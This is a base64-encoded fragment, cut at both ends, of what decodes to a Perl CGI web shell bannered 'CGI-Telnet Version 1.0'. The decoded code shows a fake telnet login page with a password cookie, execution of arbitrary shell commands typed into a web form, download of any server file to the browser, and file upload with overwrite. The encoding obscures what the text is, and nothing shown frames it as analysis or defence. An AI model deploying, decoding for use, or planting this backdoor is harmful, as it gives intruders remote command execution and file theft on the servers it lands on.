5DR0ktVGVsbmV0IFZlcnNpb24gMS4wIC0gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9udD48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjQzJCRkE1Ij48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5EaXNjb25uZWN0PC9hPiB8CjxhIGhyZWY9Imh0dHA6Ly93d3cucm9oaXRhYi5jb20vY2dpc2NyaXB0cy9jZ2l0ZWxuZXQuaHRtbCI+SGVscDwvYT4KPC9mb250PjwvdGQ+CjwvdHI+CjwvdGFibGU+Cjxmb250IGNvbG9yPSIjQzBDMEMwIiBzaXplPSIzIj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCSRNZXNzYWdlID0gcSQ8cHJlPjxmb250IGNvbG9yPSIjNjY5OTk5Ij4gX19fX18gIF9fX19fICBfX19fXyAgICAgICAgICBfX19fXyAgICAgICAgXyAgICAgICAgICAgICAgIF8KLyAgX18gXHwgIF9fIFx8XyAgIF98ICAgICAgICB8XyAgIF98ICAgICAgfCB8ICAgICAgICAgICAgIHwgfAp8IC8gIFwvfCB8ICBcLyAgfCB8ICAgX19fX19fICAgfCB8ICAgIF9fXyB8IHwgXyBfXyAgICBfX18gfCB8Xwp8IHwgICAgfCB8IF9fICAgfCB8ICB8X19fX19ffCAgfCB8ICAgLyBfIFx8IHx8ICdfIFwgIC8gXyBcfCBfX3wKfCBcX18vXHwgfF9cIFwgX3wgfF8gICAgICAgICAgIHwgfCAgfCAgX18vfCB8fCB8IHwgfHwgIF9fL3wgfF8KIFxfX19fLyBcX19fXy8gXF9fXy8gICAgICAgICAgIFxfLyAgIFxfX198fF98fF98IHxffCBcX19ffCBcX198IDEuMAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj7CqSAyMDAxLCBSb2hpdGFiIEJhdHJhPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4KICAgICAgICAgICAgICAgICAgLyAgICAgICAgICAgIFwKICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfAogICAgICAgICAgICAgICAgIHwgKShfby8gIFxvXykoIHwKICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8CiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQogIF8gICAgICkgXDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+XDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnxJSUlJSUl8PC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+LzwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fX19fX19fX19fX19fX19fX18KPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4gKF8pPC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5AOEA4PC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj57fTwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+Jmx0O19fX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58LVxJSUlJSUkvLXw8L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPl9fX19fX19fX19fX19fX19fX19fX19fXyZndDs8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPgogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAvIAogICAgICAgKEAgICAgICAgICAgIGAtLS0tLS0tLWAKICAgICAgICAgICAgIDwvZm9udD48Zm9udCBjb2xvcj0iI0FFODMwMCI+VyBBIFIgTiBJIE4gRzogUHJpdmF0ZSBTZXJ2ZXI8L2ZvbnQ+PC9wcmU+CiQ7CiMnCglwcmludCA8PEVORDsKPGNvZGU+ClRyeWluZyAkU2VydmVyTmFtZS4uLjxicj4KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPgpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dCjxjb2RlPiRNZXNzYWdlCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGNvZGU+Cjxicj5sb2dpbjogYWRtaW48YnI+CnBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5Gb3JtCnsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CmxvZ2luOiBhZG1pbjxicj4KcGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0CiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QKIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIKIyB0byBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9naW4gCnsKCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkCgl7CgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoJCX0KCQkmUHJpbnRMb2dpbkZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KJFByb21wdCB1cGxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPgpPdmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMKIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcHJpbnQgPDxFTkQ7CjwveG1wPgo8Y29kZT4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLgo8YnI+S2lsbGVkIGl0IQo8Y29kZT4KRU5ECgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlleGl0OwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZAoJewoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUKCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4KCQkKCQkkT2xkRGlyID0gJEN1cnJlbnREaXI7CgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOwoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7Cgl9CgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcD4iOwoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsKCQlpZighJFdpbk5UKQoJCXsKCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsKCQkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJCX0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkCgkJewoJCQkkfD0xOwoJCQkkQ29tbWFuZCAuPSAiIHwiOwoJCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCQl7CgkJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJCXByaW50ICIkX1xuIjsKCQkJfQoJCQkkfD0wOwoJCX0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMKCQl7CgkJCXByaW50IGAkQ29tbWFuZGA7CgkJfQoJCWlmKCEkV2luTlQpCgkJewoJCQlhbGFybSgwKTsKCQl9CgkJcHJpbnQgIjwveG1wPiI7Cgl9CgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJcHJpbnQgPDxFTkQ7Cjxjb2RlPgpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lgo8L2NvZGU+CkVORAoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGl